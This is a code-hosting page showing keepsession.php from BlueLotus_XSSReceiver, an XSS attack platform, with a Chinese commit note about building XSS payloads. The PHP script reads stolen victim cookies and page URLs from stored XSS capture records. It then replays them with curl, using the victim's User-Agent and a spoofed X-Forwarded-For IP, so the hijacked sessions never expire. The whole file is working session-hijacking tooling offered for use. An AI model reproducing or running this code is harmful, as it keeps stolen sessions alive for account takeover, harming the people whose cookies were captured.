Files
BlueLotus_XSSReceiver/keepsession.php
firesun 264460650b Version 3.0.0
1. 完成js模板,我的js模块,可以直接添加修改用于xss的js
2. 采用ace编辑器实现js代码高亮与错误检测
3. 使用js_beautify实现js代码格式化,使用jsmin实现js代码压缩
4. 整合xss'or工具部分功能,自由编码,方便生成最终的payload
5. 增加加密方式RC4,更改默认加密方式为RC4
6. 从旧版本升级并想保留记录的请务必查看Readme里的升级步骤
7. 修复一系列bug
2016-01-24 01:07:17 +08:00

106 lines
3.5 KiB
PHP
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

<?php
define("IN_XSS_PLATFORM",true);
ignore_user_abort();
//Windows平台最好别设成0因为windows上lock没法实现非阻塞
set_time_limit(0);
require_once("config.php");
require_once("functions.php");
require_once("dio.php");
if(KEEP_SESSION)
{
//利用非阻塞的flock实现单例运行
$pid = fopen(DATA_PATH. '/check.pid', "w");
if(!$pid)
exit();
if(flock($pid, LOCK_EX|LOCK_NB))
{
$files = glob(DATA_PATH . '/*.php');
foreach ($files as $file) {
$filename=basename($file,".php");
$info=load_xss_record($filename);
if($info['keepsession']===true)
{
$url=getLocation($info);
$cookie=getCookie($info);
$useragent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2535.0 Safari/537.36";
if(isset($info['headers_data']['User-Agent']))
$useragent=$info['headers_data']['User-Agent'];
$ip=$info['user_IP'];
if($url!="" && $cookie!="")
{
$ch = curl_init();
$header[]= 'User-Agent: '.$useragent;
$header[]= 'Cookie: '.$cookie;
$header[]= 'X-Forwarded-For: '.$ip;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HTTPHEADER,$header);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);
curl_setopt($ch, CURLOPT_TIMEOUT,10);
//https不校验证书按需开启吧
//curl_setopt ( $curl_handle, CURLOPT_SSL_VERIFYHOST, 0 );
curl_exec($ch);
curl_close($ch);
}
}
}
//可加上sleep来防止keepsession被ddos
//sleep(10);
flock($pid, LOCK_UN);
}
fclose($pid);
}
function getCookie($info){
$cookie="";
if(isset($info['decoded_get_data']['cookie'])&&$info['decoded_get_data']['cookie']!="")
$cookie=$info['decoded_get_data']['cookie'];
else if(isset($info['get_data']['cookie'])&&$info['get_data']['cookie']!="")
$cookie=$info['get_data']['cookie'];
else if(isset($info['decoded_post_data']['cookie'])&&$info['decoded_post_data']['cookie']!="")
$cookie=$info['decoded_post_data']['cookie'];
else if(isset($info['post_data']['cookie'])&&$info['post_data']['cookie']!="")
$cookie=$info['post_data']['cookie'];
else if(isset($info['decoded_cookie_data']['cookie'])&&$info['decoded_cookie_data']['cookie']!="")
$cookie=$info['decoded_cookie_data']['cookie'];
else if(isset($info['cookie_data']['cookie'])&&$info['cookie_data']['cookie']!="")
$cookie=$info['cookie_data']['cookie'];
return htmlspecialchars_decode(stripslashes($cookie),ENT_QUOTES);
}
function getLocation($info){
$location="";
if(isset($info['decoded_get_data']['location'])&&$info['decoded_get_data']['location']!="")
$location=$info['decoded_get_data']['location'];
else if(isset($info['get_data']['location'])&&$info['get_data']['location']!="")
$location=$info['get_data']['location'];
else if(isset($info['decoded_post_data']['location'])&&$info['decoded_post_data']['location']!="")
$location=$info['decoded_post_data']['location'];
else if(isset($info['post_data']['location'])&&$info['post_data']['location']!="")
$location=$info['post_data']['location'];
else if(isset($info['decoded_cookie_data']['location'])&&$info['decoded_cookie_data']['location']!="")
$location=$info['decoded_cookie_data']['location'];
else if(isset($info['cookie_data']['location'])&&$info['cookie_data']['location']!="")
$location=$info['cookie_data']['location'];
else if(isset($info['headers_data']['Referer'])&&$info['headers_data']['Referer']!="")
$location=$info['headers_data']['Referer'];
return htmlspecialchars_decode(stripslashes($location),ENT_QUOTES);
}
?>